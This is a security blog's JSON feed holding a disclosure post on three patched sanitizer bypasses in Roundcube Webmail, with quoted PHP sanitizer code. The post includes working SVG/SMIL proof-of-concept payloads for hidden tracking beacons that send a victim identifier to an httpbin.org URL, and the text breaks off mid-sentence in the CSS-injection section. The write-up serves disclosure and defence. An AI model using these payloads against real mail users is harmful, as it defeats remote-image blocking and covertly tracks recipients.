{"version":"https://jsonfeed.org/version/1.1","title":"NULL CATHEDRAL - Svg","home_page_url":"https://nullcathedral.com/tags/svg/","feed_url":"https://nullcathedral.com/tags/svg/feed.json","description":"Where nothing is sacred.","language":"en-us","favicon":"https://nullcathedral.com/favicon.svg","authors":[{"name":"_NULL"}],"items":[{"id":"https://nullcathedral.com/posts/2026-03-18-roundcube-round-two-three-more-sanitizer-bypasses/","url":"https://nullcathedral.com/posts/2026-03-18-roundcube-round-two-three-more-sanitizer-bypasses/","title":"Roundcube round two: three more sanitizer bypasses","summary":"Three more bypasses in Roundcube's HTML sanitizer: SMIL animation attributes load remote resources, unquoted body backgrounds enable CSS injection, and position:fixed !important enables phishing overlays.","content_html":"\u003cp\u003e\u003cstrong\u003eTL;DR:\u003c/strong\u003e Three more bypasses in Roundcube\u0026rsquo;s HTML sanitizer. SMIL animation \u003ccode\u003evalues\u003c/code\u003e and \u003ccode\u003eby\u003c/code\u003e attributes pass through without URI validation. The body \u003ccode\u003ebackground\u003c/code\u003e attribute gets dropped into \u003ccode\u003eurl()\u003c/code\u003e unquoted, which allows CSS injection. And \u003ccode\u003eposition: fixed !important\u003c/code\u003e bypasses the fixed-position mitigation for full-viewport phishing overlays. Fixed in \u003ca href=\"https://roundcube.net/news/2026/03/18/security-updates-1.7-rc5-1.6.14-1.5.16\"\u003e1.5.14, 1.6.14, and 1.7-rc5\u003c/a\u003e.\u003c/p\u003e\n\u003ch2 id=\"vulnerability-information\"\u003eVulnerability information\u003ca href=\"#vulnerability-information\" class=\"heading-anchor\" aria-label=\"Link to this section\"\u003e\u003cspan aria-hidden=\"true\"\u003e#\u003c/span\u003e\u003c/a\u003e\n\u003c/h2\u003e\n\u003ctable\u003e\n  \u003cthead\u003e\n      \u003ctr\u003e\n          \u003cth\u003eField\u003c/th\u003e\n          \u003cth\u003eValue\u003c/th\u003e\n      \u003c/tr\u003e\n  \u003c/thead\u003e\n  \u003ctbody\u003e\n      \u003ctr\u003e\n          \u003ctd\u003e\u003cstrong\u003eVendor\u003c/strong\u003e\u003c/td\u003e\n          \u003ctd\u003eRoundcube\u003c/td\u003e\n      \u003c/tr\u003e\n      \u003ctr\u003e\n          \u003ctd\u003e\u003cstrong\u003eProduct\u003c/strong\u003e\u003c/td\u003e\n          \u003ctd\u003eRoundcube Webmail\u003c/td\u003e\n      \u003c/tr\u003e\n      \u003ctr\u003e\n          \u003ctd\u003e\u003cstrong\u003eAffected versions\u003c/strong\u003e\u003c/td\u003e\n          \u003ctd\u003e\u0026lt; 1.5.14, 1.6.x \u0026lt; 1.6.14, 1.7-rc1 through 1.7-rc4\u003c/td\u003e\n      \u003c/tr\u003e\n      \u003ctr\u003e\n          \u003ctd\u003e\u003cstrong\u003eCVE\u003c/strong\u003e\u003c/td\u003e\n          \u003ctd\u003ePending\u003c/td\u003e\n      \u003c/tr\u003e\n      \u003ctr\u003e\n          \u003ctd\u003e\u003cstrong\u003eDisclosure date\u003c/strong\u003e\u003c/td\u003e\n          \u003ctd\u003e2026-03-18\u003c/td\u003e\n      \u003c/tr\u003e\n  \u003c/tbody\u003e\n\u003c/table\u003e\n\u003ch2 id=\"going-back\"\u003eGoing back\u003ca href=\"#going-back\" class=\"heading-anchor\" aria-label=\"Link to this section\"\u003e\u003cspan aria-hidden=\"true\"\u003e#\u003c/span\u003e\u003c/a\u003e\n\u003c/h2\u003e\n\u003cp\u003eAfter the \u003ca href=\"/posts/2026-02-08-roundcube-svg-feimage-remote-image-bypass/\"\u003efeImage bypass\u003c/a\u003e was patched, the sanitizer still felt fairly fragile. Same patterns everywhere: hand-maintained allowlists, attribute routing that assumed it caught everything. I was bored and didn\u0026rsquo;t feel like doing anything else, so I went poking at it again.\u003csup id=\"fnref:1\"\u003e\u003ca href=\"#fn:1\" class=\"footnote-ref\" role=\"doc-noteref\"\u003e1\u003c/a\u003e\u003c/sup\u003e\u003c/p\u003e\n\u003cp\u003eThree more things came out of it.\u003c/p\u003e\n\u003ch2 id=\"smil-animations-values-and-by\"\u003eSMIL animations: \u003ccode\u003evalues\u003c/code\u003e and \u003ccode\u003eby\u003c/code\u003e\u003ca href=\"#smil-animations-values-and-by\" class=\"heading-anchor\" aria-label=\"Link to this section\"\u003e\u003cspan aria-hidden=\"true\"\u003e#\u003c/span\u003e\u003c/a\u003e\n\u003c/h2\u003e\n\u003cp\u003eThe feImage bug was about an element whose \u003ccode\u003ehref\u003c/code\u003e went through the wrong code path. This one is about attributes that skip the code path entirely.\u003c/p\u003e\n\u003cp\u003eSMIL animation elements (\u003ccode\u003e\u0026lt;animate\u0026gt;\u003c/code\u003e, \u003ccode\u003e\u0026lt;set\u0026gt;\u003c/code\u003e, \u003ccode\u003e\u0026lt;animateTransform\u0026gt;\u003c/code\u003e) can target any attribute on their parent element. The \u003ccode\u003eto\u003c/code\u003e and \u003ccode\u003efrom\u003c/code\u003e attributes set start and end values, but SMIL also has \u003ccode\u003evalues\u003c/code\u003e (semicolon-separated keyframes) and \u003ccode\u003eby\u003c/code\u003e (relative offset). They all do the same thing: set the value of the target attribute.\u003c/p\u003e\n\u003cp\u003e\u003ccode\u003ewash_attribs()\u003c/code\u003e handles \u003ccode\u003eto\u003c/code\u003e and \u003ccode\u003efrom\u003c/code\u003e correctly by resolving \u003ccode\u003eattributeName\u003c/code\u003e and routing the value through the appropriate URI check:\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"https://github.com/roundcube/roundcubemail/blob/26d7677471b68ff2d02ebe697cb606790b0cf52f/program/lib/Roundcube/rcube_washtml.php#L301-L308\"\u003ercube_washtml.php\u003c/a\u003e\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-php\" data-lang=\"php\"\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e// in SVG to/from attribs may contain anything, including URIs\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"k\"\u003eif\u003c/span\u003e \u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"nv\"\u003e$key\u003c/span\u003e \u003cspan class=\"o\"\u003e==\u003c/span\u003e \u003cspan class=\"s1\"\u003e\u0026#39;to\u0026#39;\u003c/span\u003e \u003cspan class=\"o\"\u003e||\u003c/span\u003e \u003cspan class=\"nv\"\u003e$key\u003c/span\u003e \u003cspan class=\"o\"\u003e==\u003c/span\u003e \u003cspan class=\"s1\"\u003e\u0026#39;from\u0026#39;\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e    \u003cspan class=\"nv\"\u003e$key\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"nx\"\u003estrtolower\u003c/span\u003e\u003cspan class=\"p\"\u003e((\u003c/span\u003e\u003cspan class=\"nx\"\u003estring\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e \u003cspan class=\"nv\"\u003e$node\u003c/span\u003e\u003cspan class=\"o\"\u003e-\u0026gt;\u003c/span\u003e\u003cspan class=\"na\"\u003egetAttribute\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"s1\"\u003e\u0026#39;attributeName\u0026#39;\u003c/span\u003e\u003cspan class=\"p\"\u003e));\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e    \u003cspan class=\"nv\"\u003e$key\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"nx\"\u003etrim\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"nx\"\u003epreg_replace\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"s1\"\u003e\u0026#39;/^.*:/\u0026#39;\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"s1\"\u003e\u0026#39;\u0026#39;\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"nv\"\u003e$key\u003c/span\u003e\u003cspan class=\"p\"\u003e));\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e    \u003cspan class=\"k\"\u003eif\u003c/span\u003e \u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"nv\"\u003e$key\u003c/span\u003e \u003cspan class=\"o\"\u003e\u0026amp;\u0026amp;\u003c/span\u003e \u003cspan class=\"o\"\u003e!\u003c/span\u003e\u003cspan class=\"nx\"\u003eisset\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"nv\"\u003e$this\u003c/span\u003e\u003cspan class=\"o\"\u003e-\u0026gt;\u003c/span\u003e\u003cspan class=\"na\"\u003e_html_attribs\u003c/span\u003e\u003cspan class=\"p\"\u003e[\u003c/span\u003e\u003cspan class=\"nv\"\u003e$key\u003c/span\u003e\u003cspan class=\"p\"\u003e]))\u003c/span\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e        \u003cspan class=\"nv\"\u003e$key\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"k\"\u003enull\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e    \u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003eThis swaps the attribute name for the resolved \u003ccode\u003eattributeName\u003c/code\u003e, so \u003ccode\u003eto=\u0026quot;https://httpbin.org\u0026quot;\u003c/code\u003e on \u003ccode\u003e\u0026lt;animate attributeName=\u0026quot;href\u0026quot;\u0026gt;\u003c/code\u003e gets validated as if it were an \u003ccode\u003ehref\u003c/code\u003e value. The right idea.\u003c/p\u003e\n\u003cp\u003eBut \u003ccode\u003evalues\u003c/code\u003e and \u003ccode\u003eby\u003c/code\u003e aren\u0026rsquo;t in that \u003ccode\u003eif\u003c/code\u003e check. They\u0026rsquo;re both in the \u003ca href=\"https://github.com/roundcube/roundcubemail/blob/26d7677471b68ff2d02ebe697cb606790b0cf52f/program/lib/Roundcube/rcube_washtml.php#L65\"\u003e\u003ccode\u003e$html_attribs\u003c/code\u003e\u003c/a\u003e allowlist, so they pass the initial gate and fall through to the generic pass-through:\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"https://github.com/roundcube/roundcubemail/blob/26d7677471b68ff2d02ebe697cb606790b0cf52f/program/lib/Roundcube/rcube_washtml.php#L335-L336\"\u003ercube_washtml.php\u003c/a\u003e\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-php\" data-lang=\"php\"\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"p\"\u003e}\u003c/span\u003e \u003cspan class=\"k\"\u003eelseif\u003c/span\u003e \u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"nv\"\u003e$key\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e    \u003cspan class=\"nv\"\u003e$out\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"nv\"\u003e$value\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003eNo URI validation. The value goes into the output unchanged.\u003c/p\u003e\n\u003cp\u003eThere\u0026rsquo;s a second layer to this. After \u003ca href=\"https://roundcube.net/news/2024/05/26/security-updates-1.6.7-and-1.5.7\"\u003eCVE-2024-37383\u003c/a\u003e\u003csup id=\"fnref:2\"\u003e\u003ca href=\"#fn:2\" class=\"footnote-ref\" role=\"doc-noteref\"\u003e2\u003c/a\u003e\u003c/sup\u003e, the sanitizer blocks SMIL animations targeting \u003ccode\u003eattributeName=\u0026quot;href\u0026quot;\u003c/code\u003e:\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"https://github.com/roundcube/roundcubemail/blob/26d7677471b68ff2d02ebe697cb606790b0cf52f/program/lib/Roundcube/rcube_washtml.php#L573-L575\"\u003ercube_washtml.php\u003c/a\u003e\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-php\" data-lang=\"php\"\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"p\"\u003e}\u003c/span\u003e \u003cspan class=\"k\"\u003eelseif\u003c/span\u003e \u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"nx\"\u003ein_array\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"nv\"\u003e$tagName\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"p\"\u003e[\u003c/span\u003e\u003cspan class=\"s1\"\u003e\u0026#39;animate\u0026#39;\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"s1\"\u003e\u0026#39;animatecolor\u0026#39;\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"s1\"\u003e\u0026#39;set\u0026#39;\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"s1\"\u003e\u0026#39;animatetransform\u0026#39;\u003c/span\u003e\u003cspan class=\"p\"\u003e])\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e    \u003cspan class=\"o\"\u003e\u0026amp;\u0026amp;\u003c/span\u003e \u003cspan class=\"nx\"\u003eself\u003c/span\u003e\u003cspan class=\"o\"\u003e::\u003c/span\u003e\u003cspan class=\"na\"\u003eattribute_value\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"nv\"\u003e$node\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"s1\"\u003e\u0026#39;attributename\u0026#39;\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"s1\"\u003e\u0026#39;href\u0026#39;\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003eOnly \u003ccode\u003ehref\u003c/code\u003e. But CSS properties like \u003ccode\u003emask\u003c/code\u003e and \u003ccode\u003ecursor\u003c/code\u003e also load external resources when their values contain URLs. An \u003ccode\u003e\u0026lt;animate attributeName=\u0026quot;mask\u0026quot; values=\u0026quot;url(//httpbin.org/track)\u0026quot;\u0026gt;\u003c/code\u003e passes through because the element-level block doesn\u0026rsquo;t fire.\u003c/p\u003e\n\u003cp\u003eCombined: the \u003ccode\u003evalues\u003c/code\u003e attribute bypasses attribute-level validation, and targeting \u003ccode\u003emask\u003c/code\u003e instead of \u003ccode\u003ehref\u003c/code\u003e bypasses element-level blocking. Both checks miss.\u003c/p\u003e\n\u003ch3 id=\"proof-of-concept\"\u003eProof of concept\u003ca href=\"#proof-of-concept\" class=\"heading-anchor\" aria-label=\"Link to this section\"\u003e\u003cspan aria-hidden=\"true\"\u003e#\u003c/span\u003e\u003c/a\u003e\n\u003c/h3\u003e\n\u003cp\u003eZero-click open tracking. An invisible SVG off-screen:\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-html\" data-lang=\"html\"\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"p\"\u003e\u0026lt;\u003c/span\u003e\u003cspan class=\"nt\"\u003esvg\u003c/span\u003e \u003cspan class=\"na\"\u003ewidth\u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"s\"\u003e\u0026#34;1\u0026#34;\u003c/span\u003e \u003cspan class=\"na\"\u003eheight\u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"s\"\u003e\u0026#34;1\u0026#34;\u003c/span\u003e \u003cspan class=\"na\"\u003estyle\u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"s\"\u003e\u0026#34;position:absolute;left:-9999px\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e\u0026gt;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e  \u003cspan class=\"p\"\u003e\u0026lt;\u003c/span\u003e\u003cspan class=\"nt\"\u003erect\u003c/span\u003e \u003cspan class=\"na\"\u003ewidth\u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"s\"\u003e\u0026#34;1\u0026#34;\u003c/span\u003e \u003cspan class=\"na\"\u003eheight\u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"s\"\u003e\u0026#34;1\u0026#34;\u003c/span\u003e \u003cspan class=\"na\"\u003efill\u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"s\"\u003e\u0026#34;white\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e\u0026gt;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e    \u003cspan class=\"p\"\u003e\u0026lt;\u003c/span\u003e\u003cspan class=\"nt\"\u003eanimate\u003c/span\u003e \u003cspan class=\"na\"\u003eattributeName\u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"s\"\u003e\u0026#34;mask\u0026#34;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e      \u003cspan class=\"na\"\u003evalues\u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"s\"\u003e\u0026#34;url(//httpbin.org/track?uid=victim@test.com)\u0026#34;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e      \u003cspan class=\"na\"\u003efill\u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"s\"\u003e\u0026#34;freeze\u0026#34;\u003c/span\u003e \u003cspan class=\"na\"\u003edur\u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"s\"\u003e\u0026#34;0.001s\u0026#34;\u003c/span\u003e \u003cspan class=\"p\"\u003e/\u0026gt;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e  \u003cspan class=\"p\"\u003e\u0026lt;/\u003c/span\u003e\u003cspan class=\"nt\"\u003erect\u003c/span\u003e\u003cspan class=\"p\"\u003e\u0026gt;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"p\"\u003e\u0026lt;/\u003c/span\u003e\u003cspan class=\"nt\"\u003esvg\u003c/span\u003e\u003cspan class=\"p\"\u003e\u0026gt;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003eOpen the email in Roundcube with \u0026ldquo;Block remote images\u0026rdquo; enabled. The browser fires a GET to the attacker\u0026rsquo;s URL.\u003csup id=\"fnref:3\"\u003e\u003ca href=\"#fn:3\" class=\"footnote-ref\" role=\"doc-noteref\"\u003e3\u003c/a\u003e\u003c/sup\u003e\u003c/p\u003e\n\u003cp\u003eSMIL\u0026rsquo;s \u003ccode\u003ekeyTimes\u003c/code\u003e attribute enables timed beacons, measuring how long a recipient views the email:\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-html\" data-lang=\"html\"\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"p\"\u003e\u0026lt;\u003c/span\u003e\u003cspan class=\"nt\"\u003esvg\u003c/span\u003e \u003cspan class=\"na\"\u003ewidth\u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"s\"\u003e\u0026#34;1\u0026#34;\u003c/span\u003e \u003cspan class=\"na\"\u003eheight\u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"s\"\u003e\u0026#34;1\u0026#34;\u003c/span\u003e \u003cspan class=\"na\"\u003estyle\u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"s\"\u003e\u0026#34;position:absolute;left:-9999px\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e\u0026gt;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e  \u003cspan class=\"p\"\u003e\u0026lt;\u003c/span\u003e\u003cspan class=\"nt\"\u003erect\u003c/span\u003e \u003cspan class=\"na\"\u003ewidth\u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"s\"\u003e\u0026#34;1\u0026#34;\u003c/span\u003e \u003cspan class=\"na\"\u003eheight\u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"s\"\u003e\u0026#34;1\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e\u0026gt;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e    \u003cspan class=\"p\"\u003e\u0026lt;\u003c/span\u003e\u003cspan class=\"nt\"\u003eanimate\u003c/span\u003e \u003cspan class=\"na\"\u003eattributeName\u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"s\"\u003e\u0026#34;mask\u0026#34;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e      \u003cspan class=\"na\"\u003evalues\u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"s\"\u003e\u0026#34;none;url(//httpbin.org/ping?t=1);url(//httpbin.org/ping?t=2)\u0026#34;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e      \u003cspan class=\"na\"\u003edur\u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"s\"\u003e\u0026#34;5s\u0026#34;\u003c/span\u003e \u003cspan class=\"na\"\u003erepeatCount\u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"s\"\u003e\u0026#34;indefinite\u0026#34;\u003c/span\u003e \u003cspan class=\"p\"\u003e/\u0026gt;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e  \u003cspan class=\"p\"\u003e\u0026lt;/\u003c/span\u003e\u003cspan class=\"nt\"\u003erect\u003c/span\u003e\u003cspan class=\"p\"\u003e\u0026gt;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"p\"\u003e\u0026lt;/\u003c/span\u003e\u003cspan class=\"nt\"\u003esvg\u003c/span\u003e\u003cspan class=\"p\"\u003e\u0026gt;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003ch2 id=\"body-backgrounds-unquoted-url\"\u003eBody backgrounds: unquoted \u003ccode\u003eurl()\u003c/code\u003e\u003ca href=\"#body-backgrounds-unquoted-url\" class=\"heading-anchor\" aria-label=\"Link to this section\"\u003e\u003cspan aria-hidden=\"true\"\u003e#\u003c/span\u003e\u003c/a\u003e\n\u003c/h2\u003e\n\u003cp\u003eThis one is in the application layer, not the sanitizer library.\u003c/p\u003e\n\u003cp\u003eWhen Roundcube renders an email, \u003ccode\u003ewashtml_callback()\u003c/code\u003e processes the \u003ccode\u003e\u0026lt;body\u0026gt;\u003c/code\u003e element\u0026rsquo;s attributes and converts them to inline CSS on the output container \u003ccode\u003e\u0026lt;div\u0026gt;\u003c/code\u003e. The \u003ccode\u003ebackground\u003c/code\u003e attribute\u003csup id=\"fnref:4\"\u003e\u003ca href=\"#fn:4\" class=\"footnote-ref\" role=\"doc-noteref\"\u003e4\u003c/a\u003e\u003c/sup\u003e becomes \u003ccode\u003ebackground-image\u003c/code\u003e:\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"https://github.com/roundcube/roundcubemail/blob/26d7677471b68ff2d02ebe697cb606790b0cf52f/program/actions/mail/index.php#L1180-L1185\"\u003eindex.php\u003c/a\u003e\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-php\" data-lang=\"php\"\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"k\"\u003ecase\u003c/span\u003e \u003cspan class=\"s1\"\u003e\u0026#39;background\u0026#39;\u003c/span\u003e\u003cspan class=\"o\"\u003e:\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e    \u003cspan class=\"k\"\u003eif\u003c/span\u003e \u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"nx\"\u003epreg_match\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"s1\"\u003e\u0026#39;/^([^\\s]+)$/\u0026#39;\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"nv\"\u003e$value\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"nv\"\u003e$m\u003c/span\u003e\u003cspan class=\"p\"\u003e))\u003c/span\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e        \u003cspan class=\"nv\"\u003e$style\u003c/span\u003e\u003cspan class=\"p\"\u003e[\u003c/span\u003e\u003cspan class=\"s1\"\u003e\u0026#39;background-image\u0026#39;\u003c/span\u003e\u003cspan class=\"p\"\u003e]\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"s2\"\u003e\u0026#34;url(\u003c/span\u003e\u003cspan class=\"si\"\u003e{\u003c/span\u003e\u003cspan class=\"nv\"\u003e$value\u003c/span\u003e\u003cspan class=\"si\"\u003e}\u003c/span\u003e\u003cspan class=\"s2\"\u003e)\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e    \u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e    \u003cspan class=\"k\"\u003ebreak\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003eThe value runs through \u003ccode\u003ewash_uri()\u003c/code\u003e before this point, which allows \u003ccode\u003edata:image/*\u003c/code\u003e URIs. Then it gets interpolated into \u003ccode\u003eurl()\u003c/code\u003e without quotes.\u003c/p\u003e\n\u003cp\u003eA \u003ccode\u003e)\u003c/code\u003e inside the data URI terminates the \u003ccode\u003eurl()\u003c/code\u003e function early, and everything after it is parsed as additional CSS properties on the container \u003ccode\u003e\u0026lt;div\u0026gt;\u003c/code\u003e. Because the injected CSS is inline style (not inside a \u003ccode\u003e\u0026lt;style\u0026gt;\u003c/code\u003e block), it 